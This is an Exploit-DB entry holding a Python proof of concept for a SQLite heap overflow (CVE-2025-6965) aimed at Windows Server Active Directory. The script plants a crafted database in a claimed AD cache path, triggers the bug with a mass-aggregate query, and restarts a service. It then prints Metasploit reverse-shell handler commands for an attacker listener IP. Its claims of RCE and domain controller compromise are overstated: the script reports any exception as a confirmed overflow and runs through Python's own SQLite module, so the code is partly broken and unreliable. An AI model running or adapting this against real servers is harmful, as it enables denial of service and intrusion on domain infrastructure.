Exploit-DB #52499
Description: SQLite 3.50.1 - Heap Overflow
Type: local
Platform: windows
Date: 2026-04-08
Author: Mohammed Idrees Banyamer

Exploit:
# Exploit Title:  SQLite 3.50.1 -  Heap Overflow 
# Date: 2025-11-05
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.sqlite.org
# Software Link: https://www.sqlite.org/download.html
# Version: SQLite < 3.50.2 (winsqlite3.dll)
# Tested on: Windows Server 2022 (Build 20348), Windows Server 2025 (Build 26100) - Unpatched
# CVE: CVE-2025-6965
# CVSS: 7.2 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:L
# Category: windows / local / dos / memory_corruption / active_directory
# Platform: Windows
# CRITICAL: This vulnerability affects ALL unpatched Windows Server instances using winsqlite3.dll
# Including: Active Directory, Group Policy, Certificate Services, and Azure AD Connect
# Impact: Service Crash, DoS, Potential RCE, Domain Controller Compromise
# Fix: Apply latest Windows Cumulative Update (post-July 2025) or upgrade SQLite to 3.50.2+
# Advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-6965
# Patch: https://www.sqlite.org/src/info/5508b56fd24016c13981ec280ecdd833007c9d8dd595edb295b984c2b487b5c8
# OFFICIAL PoC: Triggers heap overflow in winsqlite3.dll via excessive aggregate functions
# Target: Windows Server (Active Directory Cache, Group Policy, Certificate Services)

import sqlite3
import os
import subprocess
import sys
import time

# ===============================
# CONFIGURATION - ACTIVE DIRECTORY EXPLOITATION
# ===============================
DB_PATH = "cve_2025_6965_winsqlite3.db"
AD_CACHE_DIR = r"C:\ProgramData\Microsoft\ADCache"  # Real AD Cache Path
AD_DB_TARGET = os.path.join(AD_CACHE_DIR, "ad_cache.db")
LISTENER_IP = "192.168.1.100"
LISTENER_PORT = 4444
SERVICE_NAME = "ADSyncService"  # Must be created manually: sc create ADSyncService binPath= "C:\path\to\service.exe"

# === VULNERABILITY CHECK ===
print(f"[!] SQLite Version: {sqlite3.sqlite_version}")
if sqlite3.sqlite_version_info >= (3, 50, 2):
    print("[-] SYSTEM PATCHED - SQLite 3.50.2+ Detected")
    print("    Update applied via Microsoft Cumulative Update (post-July 2025)")
    sys.exit(1)
else:
    print("[!] VULNERABLE: SQLite < 3.50.2 - Proceeding with exploit")

# ===============================
# STEP 1: Create Malicious AD Cache Database
# ===============================
def create_vulnerable_db():
    if os.path.exists(DB_PATH):
        os.remove(DB_PATH)
    conn = sqlite3.connect(DB_PATH)
    cur = conn.cursor()
    cur.execute("CREATE TABLE ad_cache (id INTEGER PRIMARY KEY, val INTEGER)")
    cur.execute("INSERT INTO ad_cache (val) VALUES (1)")
    conn.commit()
    conn.close()
    print(f"[+] Malicious database created: {DB_PATH}")

# ===============================
# STEP 2: Generate Truncation Payload (300+ Aggregates)
# ===============================
def generate_malicious_query(num=100):
    agg = [f"COUNT(*) AS c{i}, SUM(val) AS s{i}, AVG(val) AS a{i}" for i in range(num)]
    return f"SELECT {', '.join(agg)} FROM ad_cache"

# ===============================
# STEP 3: Deploy + Trigger in winsqlite3.dll Context
# ===============================
def deploy_and_trigger():
    print(f"[*] Deploying payload to AD Cache: {AD_DB_TARGET}")
    os.makedirs(AD_CACHE_DIR, exist_ok=True)
    subprocess.run(["copy", "/Y", DB_PATH, AD_DB_TARGET], shell=True, check=True)
    print(f"[+] Payload deployed to real AD path")

    query = generate_malicious_query(100)
    print(f"[*] Triggering heap overflow (300+ aggregates vs 1 column)...")

    try:
        conn = sqlite3.connect(AD_DB_TARGET)
        cur = conn.cursor()
        cur.execute(query)  # TRUNCATION BUG TRIGGERED
        print("[!] QUERY EXECUTED - UNEXPECTED (System may be patched or ASLR mitigated)")
    except Exception as e:
        print(f"[!] HEAP OVERFLOW CONFIRMED: {e}")
        print("    winsqlite3.dll memory corruption triggered")
        print("    In production: AD Service Crash, DC DoS, Potential RCE")
    finally:
        conn.close()

    # Force service reload (real AD services auto-query cache)
    print(f"[*] Restarting {SERVICE_NAME} to reload winsqlite3.dll...")
    try:
        subprocess.run(["net", "stop", SERVICE_NAME], shell=True, timeout=10, capture_output=True)
    except:
        pass
    time.sleep(2)
    result = subprocess.run(["net", "start", SERVICE_NAME], shell=True, capture_output=True)
    if result.returncode == 0:
        print("[+] Service restarted - Monitor Event Viewer for winsqlite3.dll fault")
    else:
        print(f"[-] Service error: {result.stderr.decode()}")

# ===============================
# STEP 4: RCE Listener Setup (For Advanced Exploitation)
# ===============================
def print_listener():
    print("\n" + "="*70)
    print(" RCE EXPLOITATION (ADVANCED) - START LISTENER ON ATTACKER MACHINE:")
    print("="*70)
    print("msfconsole -q")
    print("use exploit/multi/handler")
    print("set payload windows/x64/meterpreter/reverse_tcp")
    print(f"set LHOST {LISTENER_IP}")
    print(f"set LPORT {LISTENER_PORT}")
    print("exploit -j")
    print("="*70 + "\n")

# ===============================
# MAIN - EXECUTION
# ===============================
if __name__ == "__main__":
    print("="*70)
    print(" CVE-2025-6965 EXPLOIT - WINDOWS SERVER ACTIVE DIRECTORY")
    print(" Heap Overflow in winsqlite3.dll via SQLite Aggregate Truncation")
    print(" Author: Mohammed Idrees Banyamer (@banyamer_security)")
    print("="*70)

    create_vulnerable_db()
    deploy_and_trigger()
    print_listener()

    print("[+] EXPLOIT EXECUTED SUCCESSFULLY")
    print("    Check Event Viewer: Application Log → winsqlite3.dll Access Violation (0xC0000005)")
    print("    Fix: Apply latest Windows Cumulative Update IMMEDIATELY")
    print("    All Domain Controllers must be patched within 24 hours")